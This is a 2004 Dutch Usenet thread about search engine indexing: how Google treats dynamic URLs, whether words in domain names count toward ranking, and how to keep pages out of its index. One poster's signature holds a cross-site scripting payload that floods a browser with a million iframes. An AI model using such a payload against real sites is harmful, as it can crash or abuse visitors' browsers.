Zoekmachines

Daniel Tryba wrote:

> Michiel de Roo <yourlove@welovespam.nl> wrote:

[snip]

>>Heb je wel relevante ervaring met het laten indexeren van pagina's door
>>Google dan ?
>
> Ik maak geen content voor searchengines. Al mijn laatste projecten zijn
> niet indexeerbaar door enige internetzoekmachine aangezien deze of eisen
> dat personen inloggen of dat alleen via een intranet beschikbaar zijn.

[ snip ]

>>Dat is een nogal vreemde methode natuurlijk. Jij zou een pagina bouwen op
>>hoe Google volgens jou zou moeten werken.
>
> Niet volgens mij, volgens de documentatie.

Dus jij maakt een Intranet site volgens de w3c documentatie? En wat doe
je als je tegen een browser-x bug aanloopt, waardoor je site niet werkt
zoals zou moeten volgens de specs? Hardnekkig volhouden, en gewoon
zeggen browser-x is fout, want volgens de documentatie... ? En met een
hack kan je het aan de praat krijgen, en zonder die hack zal het nooit
gaan werken?

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

John Bokma:
>Overigens een test in google met
>http://www.google.com/search?q=sri+lanka
>
>laat zien dat _ misschien niet echt verplicht is, want op de 4e plaats
>zie ik:
>
>www.srilankan.lk/
>
>en op 10:
>
>www.srilankatourism.org

Dat komt vermoedelijk doordat Google woorden in de URL niet of nauwelijks
meeweegt, maar tekst op de pagina en inkomende links des te meer. En daar
staat ongetwijfeld gewoon "sri lanka".

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

On Wed, 28 Apr 2004 10:08:30 +0000 (UTC), robert <{n.i.w.s}@allyourbass.org.invalid> mentioned:
[knip]

> Het ging erover hoe Google dynamische pagina's kan herkennen, niet over hoe
> Google er mee omgaat.

Wat is dan jouw definitie van "dynamische pagina"? En
wanneer je niet weet hoe Google er mee omgaat, hoe kan je
dan weten of Google het herkent?

--
Roland van Ipenburg
roland.van.ipenburg@xs4all.nl
http://www.xs4all.nl/~ipenburg/
"Pooh Styx?"

Roland van Ipenburg wrote:

> On Wed, 28 Apr 2004 10:08:30 +0000 (UTC), robert <{n.i.w.s}@allyourbass.org.invalid> mentioned:
> [knip]
>
>
>>Het ging erover hoe Google dynamische pagina's kan herkennen, niet over hoe
>>Google er mee omgaat.
>
> Wat is dan jouw definitie van "dynamische pagina"? En
> wanneer je niet weet hoe Google er mee omgaat, hoe kan je
> dan weten of Google het herkent?

Ik vrees dat elke definitie mank loopt :-D.

* Een cronjob die elke dag de pagina aanmaakt
* Een pagina die 3x per dag aangepast wordt door de gebruiker (lokaal +
upload)
* Een pagina die aangemaakt wordt, als die niet bestaat, on the fly
* Een pagina die telkens opnieuw aangemaakt wordt bij elke request, maar
weken gelijk blijft op bitnivo.

Google lijkt iets te hanteren als: als de URL er dynamisch uitziet, is
het dynamisch. Een ding dat tegen Google spreekt, is dat er geen
duidelijke specs voor zijn (ik kan ze niet 1,2,3 vinden op de Google site).

Geruchten die je leest zijn, geen (session) id achtige constructies,
niet meer dan 2 variabelen in je URI, URI niet te lang.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

On Wed, 28 Apr 2004 09:22:30 -0500, John Bokma
<postmaster@castleamber.com> wrote in nl.internet.www.server-side in
message <408fbe29$0$190$58c7af7e@news.kabelfoon.nl> with the subject:
Re: Zoekmachines:
>> Uiteraard is de tweede gemakkelijker voor de gebruiker. Hij kan uit de
>> url de inhoud afleiden. Om een hoge plaats in zoekmachines te krijgen,
>> is de laatste url ook veel beter. Als je er nu
>> foto/vakantie/sri_lanka/ van maakt en er voor zorgt dat in <title> en
>> <h1> ook de woorden "foto" "vakantie" "1999" en "Sri Lanka" ben je
>> verzekerd van een hoge plaats als iemand zoekt op "foto vakantie 1999
>> sri lanka"
>
>Klopt helemaal. Overigens een test in google met
>http://www.google.com/search?q=sri+lanka
>
>laat zien dat _ misschien niet echt verplicht is, want op de 4e plaats
>zie ik:
>
>www.srilankan.lk/
>
>en op 10:
>
>www.srilankatourism.org


In die urls staat ook geen sri lanka, maar srilanka. Google ruikt niet
dat dat twee aan elkaar geplakte woorden zijn. Zo'n site kan er dus
beter sri-lanka.org van maken, of een pagina maken die
www.srilanka.org/sri_lanka.php heet.

Doegie,
Jaap.


--
************************************************** *****
Homo bureaucrasis: survival of the fittest?
************************************************** *****

Jaap van Wingerde
e-mail: 1234567890@xs4all.nl
Internet: http://www.vanwingerde.net/jaap/

On Wed, 28 Apr 2004 14:53:12 -0500, John Bokma <postmaster@castleamber.com> wrote:
> Roland van Ipenburg wrote:
>
>> Wat is dan jouw definitie van "dynamische pagina"? En
>> wanneer je niet weet hoe Google er mee omgaat, hoe kan je
>> dan weten of Google het herkent?

> Geruchten die je leest zijn, geen (session) id achtige constructies,
> niet meer dan 2 variabelen in je URI, URI niet te lang.

Daarnaast speelt er nog een andere grote rol mee die de eerder genoemde
punten blijkbaar overruled. Als er op veel sites naar de bewuste url
wordt gelinkt blijkt google hem ook weer hoger te zetten.

Hans

--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " + i +
"\"\>\<\/iframe>"); } document.refresh; </script>

Jaap van Wingerde:
>In die urls staat ook geen sri lanka, maar srilanka. Google ruikt niet
>dat dat twee aan elkaar geplakte woorden zijn. Zo'n site kan er dus
>beter sri-lanka.org van maken

Dat zou zo zijn, als Google woorden in de URL (of specifieker: het domein)
zou meewegen.

Heb jij overtuigend bewijs dat dat het geval is?

--
René Pijlman

Wat wil jij leren? http://www.leren.nl

John Bokma in nl.internet.www.server-side (Wed, 28 Apr 2004 14:53:12
-0500):

>Geruchten die je leest zijn, geen (session) id achtige constructies,
>niet meer dan 2 variabelen in je URI, URI niet te lang.

Niet meer dan 2 variabelen heb ik nooit gemerkt. Kijk maar eens naar
http://www.google.com/search?q=site:...eaker-threaded

Jan - die nog steeds probeert die resultaten uit Google te halen
--
Look, Ma. No tables - http://enbio.steenbergen-stichting.nl/

Jaap van Wingerde wrote:

> On Wed, 28 Apr 2004 09:22:30 -0500, John Bokma
> <postmaster@castleamber.com> wrote in nl.internet.www.server-side in
> message <408fbe29$0$190$58c7af7e@news.kabelfoon.nl> with the subject:
> Re: Zoekmachines:
>
>>>Uiteraard is de tweede gemakkelijker voor de gebruiker. Hij kan uit de
>>>url de inhoud afleiden. Om een hoge plaats in zoekmachines te krijgen,
>>>is de laatste url ook veel beter. Als je er nu
>>>foto/vakantie/sri_lanka/ van maakt en er voor zorgt dat in <title> en
>>><h1> ook de woorden "foto" "vakantie" "1999" en "Sri Lanka" ben je
>>>verzekerd van een hoge plaats als iemand zoekt op "foto vakantie 1999
>>>sri lanka"
>>
>>Klopt helemaal. Overigens een test in google met
>>http://www.google.com/search?q=sri+lanka
>>
>>laat zien dat _ misschien niet echt verplicht is, want op de 4e plaats
>>zie ik:
>>
>>www.srilankan.lk/
>>
>>en op 10:
>>
>>www.srilankatourism.org
>
> In die urls staat ook geen sri lanka, maar srilanka.

Klopt

> Google ruikt niet
> dat dat twee aan elkaar geplakte woorden zijn.

Waarom drukt Google ze dan vet groen af? Google herkend dus wel degelijk
sri lanka in srilanka... Zo ingewikkeld is dat niet.

> Zo'n site kan er dus
> beter sri-lanka.org van maken, of een pagina maken die
> www.srilanka.org/sri_lanka.php heet.

Kan je vermoeden dit bewijzen, of harder maken?

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

Jan Ehrhardt wrote:

> John Bokma in nl.internet.www.server-side (Wed, 28 Apr 2004 14:53:12
> -0500):
>
>
>>Geruchten die je leest zijn, geen (session) id achtige constructies,
>>niet meer dan 2 variabelen in je URI, URI niet te lang.
>
> Niet meer dan 2 variabelen heb ik nooit gemerkt. Kijk maar eens naar
> http://www.google.com/search?q=site:...eaker-threaded

Wellicht wordt er naam=waarde&naam=waarde&naam=waarde bedoelt.

> Jan - die nog steeds probeert die resultaten uit Google te halen

Heb je al geprobeerd met robots.txt?

User-Agent: *
Disallow: /speaker-threaded.cgi?

Zie: http://www.google.com/robots.txt

Wat wellicht ook werkt is met mod_rewrite de googlebot een 404 of F
geven op de speaker-threaded requests.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

John Bokma in nl.internet.www.server-side (Wed, 28 Apr 2004 16:11:44
-0500):

>Jaap van Wingerde wrote:
>
>>> http://www.google.com/search?q=sri+lanka

>> Google ruikt niet dat dat twee aan elkaar geplakte woorden zijn.
>
>Waarom drukt Google ze dan vet groen af? Google herkend^Ht dus wel degelijk
>sri lanka in srilanka... Zo ingewikkeld is dat niet.

Nee, Google herkent srilanka niet. Kijk maar eens in de source van het
<b>zoek</b><b>resultaat</b>.

Jan
--
Look, Ma. No tables - http://enbio.steenbergen-stichting.nl/

Jan Ehrhardt wrote:

> John Bokma in nl.internet.www.server-side (Wed, 28 Apr 2004 16:11:44
> -0500):
>
>
>>Jaap van Wingerde wrote:
>>
>>
>>>>http://www.google.com/search?q=sri+lanka
>
>
>>>Google ruikt niet dat dat twee aan elkaar geplakte woorden zijn.
>>
>>Waarom drukt Google ze dan vet groen af? Google herkend^Ht dus wel degelijk
>>sri lanka in srilanka... Zo ingewikkeld is dat niet.
>
>
> Nee, Google herkent srilanka niet. Kijk maar eens in de source van het
> <b>zoek</b><b>resultaat</b>.

U vraagt, wij graaien :-D.

<a href="http://www.srilankan.lk/">SriLankan Airlines</a><br><font
size="-1"> <b>...</b> Soon travel time between <b>Sri</b> <b>Lanka's</b>
international airport at Katunayake and the<br>
island's major tourist destinations will only be a matter of minutes...
<b>...</b>
<br><font color="#008000">www.<b>sri</b><b>lanka</b>n.lk/ - 72k - 26
^^ ^^^^^^^ ^^^^

http://www.google.com/search?q=sri+lanka

Ik zie duidelijk srilanka vet in www.srilankan.lk/ - 72k - 26 Apr ...

Misschien betere ogen, misschien betere monitor. Zo ingewikkeld is het
niet overigens, filter alle tekens uit de query die niet in een URI
mogen voorkomen, en match met de URI.

--
John MexIT: http://johnbokma.com/mexit/
personal page: http://johnbokma.com/
Experienced Perl programmer available: http://castleamber.com/

John Bokma in nl.internet.www.server-side (Wed, 28 Apr 2004 16:21:16
-0500):

>Jan Ehrhardt wrote:
>
>> John Bokma in nl.internet.www.server-side (Wed, 28 Apr 2004 14:53:12
>> -0500):
>>
>>>Geruchten die je leest zijn, geen (session) id achtige constructies,
>>>niet meer dan 2 variabelen in je URI, URI niet te lang.
>>
>> Niet meer dan 2 variabelen heb ik nooit gemerkt. Kijk maar eens naar
>> http://www.google.com/search?q=site:...eaker-threaded
>
>Wellicht wordt er naam=waarde&naam=waarde&naam=waarde bedoelt^Hd.

Dan is het dus makkelijk te omzeilen.

>> Jan - die nog steeds probeert die resultaten uit Google te halen
>
>Heb je al geprobeerd met robots.txt?
>
>User-Agent: *
>Disallow: /speaker-threaded.cgi?

Ik wil wel dat Google 'follow't.

>Wat wellicht ook werkt is met mod_rewrite de googlebot een 404 of F
>geven op de speaker-threaded requests.

Iets dergelijks doe ik. Google krijgt een 301 naar een pagina die wel
indexeerbaar is. Maar dat helpt dus niet.

Jan
--
Look, Ma. No tables - http://enbio.steenbergen-stichting.nl/

On Wed, 28 Apr 2004 16:11:44 -0500, John Bokma
<postmaster@castleamber.com> wrote in nl.internet.www.server-side in
message <40901e11$0$190$58c7af7e@news.kabelfoon.nl> with the subject:
Re: Zoekmachines:

>Waarom drukt Google ze dan vet groen af? Google herkend dus wel degelijk
>sri lanka in srilanka... Zo ingewikkeld is dat niet.

Verdomd, je hebt gelijk. Ik weet bijna zeker dat Google dat kunstje
een tijd geleden nog niet kon.

>> Zo'n site kan er dus
>> beter sri-lanka.org van maken, of een pagina maken die
>> www.srilanka.org/sri_lanka.php heet.
>
>Kan je vermoeden dit bewijzen, of harder maken?

Ik heb het ergens gelezen in een artikel over optimalisatie. Ik merk
het aan de ranking van door mij gemaakte pagina's. Het lijkt me heel
aannemelijk.

Doeg,
Jaap.




--
************************************************** *****
Homo bureaucrasis: survival of the fittest?
************************************************** *****

Jaap van Wingerde
e-mail: 1234567890@xs4all.nl
Internet: http://www.vanwingerde.net/jaap/

John Bokma in nl.internet.www.server-side (Wed, 28 Apr 2004 16:26:05
-0500):

>>>>Google ruikt niet dat dat twee aan elkaar geplakte woorden zijn.
>
><br><font color="#008000">www.<b>sri</b><b>lanka</b>n.lk/ - 72k - 26
> ^^ ^^^^^^^ ^^^^
Google ruikt het dus niet.

>http://www.google.com/search?q=sri+lanka
>
>Ik zie duidelijk srilanka vet in www.srilankan.lk/ - 72k - 26 Apr ...

Nee, je ziet sri vet en lanka vet.

Jan
--
Look, Ma. No tables - http://enbio.steenbergen-stichting.nl/